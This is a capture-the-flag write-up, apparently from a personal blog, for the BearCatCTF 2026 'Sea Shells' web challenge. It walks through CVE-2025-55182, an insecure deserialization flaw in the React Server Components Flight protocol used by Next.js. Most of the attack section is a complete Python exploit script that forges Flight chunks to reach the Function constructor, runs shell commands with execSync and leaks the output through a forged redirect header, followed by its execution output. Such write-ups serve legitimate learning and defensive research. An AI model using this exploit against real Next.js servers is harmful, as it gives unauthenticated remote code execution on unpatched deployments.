BearCatCTF 2026 - Sea Shells

796 words

4 minutes

BearCatCTF 2026 - Sea Shells

2026-02-22

Web

/

RCE

/

React

/

Next.js

/

CVE

/

Deserialization

/

CTF

Challenge Information#

Field	Value
Name	Sea Shells
CTF	BearCatCTF 2026
Category	Web
Points	460
Author	Hugh
Flag	`BCCTF{R34c7_S3rv3r_C0mp0n3n7s_RCE_2025}`

Challenge Description#

Ahoy, Code-Breakers!

The Dread Captain Next thinks his fortress is impenetrable, but he’s left the ship’s articles—the very blueprints of how his crew behaves—unguarded. We’ve heard whispers that if a clever pirate can poison the source they can rewrite the fundamental laws of the ship itself.

Forging your Next-Action scrolls is the key to mutiny. When you control the prototype, the crew stops listening to the Captain and starts listening to you. Seize the shell, and the flag shall be yours!

Target: http://chal.bearcatctf.io:38270/

TL;DR#

The challenge runs a Next.js 15.0.0 app with React 19.0.0-rc — a version vulnerable to CVE-2025-55182 (React2Shell). This is a critical insecure deserialization flaw in the React Server Components Flight protocol that allows unauthenticated RCE. We craft a malicious multipart payload that abuses the Flight decoder to create fake “Thenable” (Promise-like) objects, which triggers arbitrary JavaScript execution on the server when awaited.

Recon#

Hitting the target gives us a simple journal/log book app — you can submit entries with a title and content. Inspecting the page source and static JS bundles reveals the stack:

Next.js 15.0.0 (Build ID: V_NSvClZKyL3arBuCiH4R)
React 19.0.0-rc (rc-f994737d14-20240522)
App Router with React Server Components (RSC)
A single Server Action with ID 3fee78e8995a129cd1c598459b0203a43f700478

The challenge description is full of hints:

“Next-Action scrolls” → Server Action requests (the Next-Action HTTP header)
“poison the source” / “control the prototype” → Prototype Pollution
“Seize the shell” → RCE

Understanding the Attack Surface#

React Flight Protocol#

When a Next.js app uses Server Actions, the client communicates with the server via the React Flight protocol. Requests are sent as multipart/form-data with a Next-Action header containing the action ID. The form fields encode serialized JavaScript values using a custom format with $-prefixed type tags:

Prefix	Meaning
`$1`	Reference to chunk with key “1”
`$@1`	Reference to chunk 1 as a Thenable (Promise-like)
`$B1`	”Block” / lazy reference
`$K1`	FormData reference
`$Q1`	Map reference

The server deserializes these into live JavaScript objects. This is where the vulnerability lives.

CVE-2025-55182 — React2Shell#

Discovered by Lachlan Davidson in late 2025, this CVSS 10.0 vulnerability exists in react-server-dom-webpack (and the turbopack/parcel variants). The Flight decoder reconstructs objects from the serialized format without proper validation, allowing an attacker to:

Create fake Chunk objects with controlled status, value, _response, etc.
Use $@ references to obtain real Chunk objects and graft their .then method onto attacker-controlled objects
Abuse the _response._formData.get → constructor.constructor chain to reach the Function constructor
Execute arbitrary JavaScript when the server tries to await the fake Thenable

Building the Exploit#

The payload creates a chain of fake objects that trick the Flight decoder:

1
payload = {
2
    '0': '$1',          # Model: reference to chunk 1
3
    '1': {              # Fake Chunk object
4
        'status': 'resolved_model',
5
        'reason': 0,
6
        '_response': '$4',
7
        'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
8
        'then': '$2:then'    # Borrow .then from a real Chunk
9
    },
10
    '2': '$@3',         # $@ gives us a real Chunk (Thenable)
11
    '3': [],            # Empty array (used for constructor chain)
12
    '4': {              # Fake Response object
13
        '_prefix': '<MALICIOUS JS CODE>//',
14
        '_formData': {
15
            'get': '$3:constructor:constructor'  # [] → Array → Function
16
        },
17
        '_chunks': '$2:_response:_chunks',
18
    }
19
}

How the chain works:

Chunk 0 ($1) references Chunk 1 — the fake Chunk
Chunk 2 ($@3) creates a real Thenable reference to Chunk 3, giving us access to a genuine .then method
Chunk 1 steals .then from the real Chunk via '$2:then', making itself look like a Promise
When the server tries to await Chunk 1, it calls .then(), which re-enters the parser with our controlled _response
Chunk 4 (the fake Response) has _formData.get pointing to $3:constructor:constructor — that’s [].constructor.constructor = the Function constructor
The _prefix field is prepended to the code string passed to Function(), giving us arbitrary code execution

Data Exfiltration via Redirect#

To get command output back, we abuse Next.js’s built-in redirect handling. By throwing a specially formatted NEXT_REDIRECT error, the server responds with a 303 redirect containing our data in the URL:

1
throw Object.assign(new Error('NEXT_REDIRECT'), {
2
  digest: 'NEXT_REDIRECT;push;/login?a=' + encodeURIComponent(output) + ';307;'
3
});

The command output appears in the X-Action-Redirect response header.

The Exploit Script#

1
import http.client, json, re, urllib.parse
2

3
TARGET = "chal.bearcatctf.io"
4
PORT = 38270
5
ACTION_ID = "3fee78e8995a129cd1c598459b0203a43f700478"
6

7
def send_rce(cmd):
8
    cmd_escaped = cmd.replace("'", "\\'")
9

10
    # JS code: run command, exfiltrate output via redirect
11
    js = (
12
        f"throw Object.assign(new Error('NEXT_REDIRECT'),"
13
        f"{{digest: 'NEXT_REDIRECT;push;/login?a=' + "
14
        f"encodeURIComponent(process.mainModule.require('child_process')"
15
        f".execSync('{cmd_escaped}').toString()) + ';307;'}});//"
16
    )
17

18
    payload = {
19
        '0': '$1',
20
        '1': {
21
            'status': 'resolved_model', 'reason': 0,
22
            '_response': '$4',
23
            'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
24
            'then': '$2:then'
25
        },
26
        '2': '$@3',
27
        '3': [],
28
        '4': {
29
            '_prefix': js,
30
            '_formData': {'get': '$3:constructor:constructor'},
31
            '_chunks': '$2:_response:_chunks',
32
        }
33
    }
34

35
    BOUNDARY = "----Boundary"
36
    body = b""
37
    for key in sorted(payload.keys()):
38
        body += f"--{BOUNDARY}\r\n".encode()
39
        body += f'Content-Disposition: form-data; name="{key}"\r\n\r\n'.encode()
40
        body += f"{json.dumps(payload[key])}\r\n".encode()
41
    body += f"--{BOUNDARY}--\r\n".encode()
42

43
    conn = http.client.HTTPConnection(TARGET, PORT, timeout=15)
44
    conn.request("POST", "/", body, {
45
        "Content-Type": f"multipart/form-data; boundary={BOUNDARY}",
46
        "Next-Action": ACTION_ID,
47
    })
48
    resp = conn.getresponse()
49
    redirect = dict(resp.getheaders()).get('x-action-redirect', '')
50
    body_text = resp.read().decode(errors='replace')
51
    match = re.search(r'[?&]a=([^;&]+)', redirect + body_text)
52
    return urllib.parse.unquote(match.group(1)) if match else None
53

54
# Pop a shell
55
print(send_rce("id"))
56
# uid=100(ctf) gid=101(ctf) groups=101(ctf),101(ctf)
57

58
print(send_rce("cat /app/flag.txt"))
59
# BCCTF{R34c7_S3rv3r_C0mp0n3n7s_RCE_2025}

Execution#

1
$ python3 exploit.py
2
uid=100(ctf) gid=101(ctf) groups=101(ctf),101(ctf)
3
BCCTF{R34c7_S3rv3r_C0mp0n3n7s_RCE_2025}

Flag#

1
BCCTF{R34c7_S3rv3r_C0mp0n3n7s_RCE_2025}

References#

Writeup by daryx

BearCatCTF 2026 - Sea Shells

https://daryx.vercel.app/posts/bearcatctf-2026-sea-shells/

Author

Daryx

Published at

2026-02-22

License

CC BY-NC-SA 4.0

UVT CTF - Seas Side Contraband

UniverCTF 2025 - SilentSnow

1

Challenge Information

2

Challenge Description

Understanding the Attack Surface

React Flight Protocol

CVE-2025-55182 — React2Shell

6

Building the Exploit

Data Exfiltration via Redirect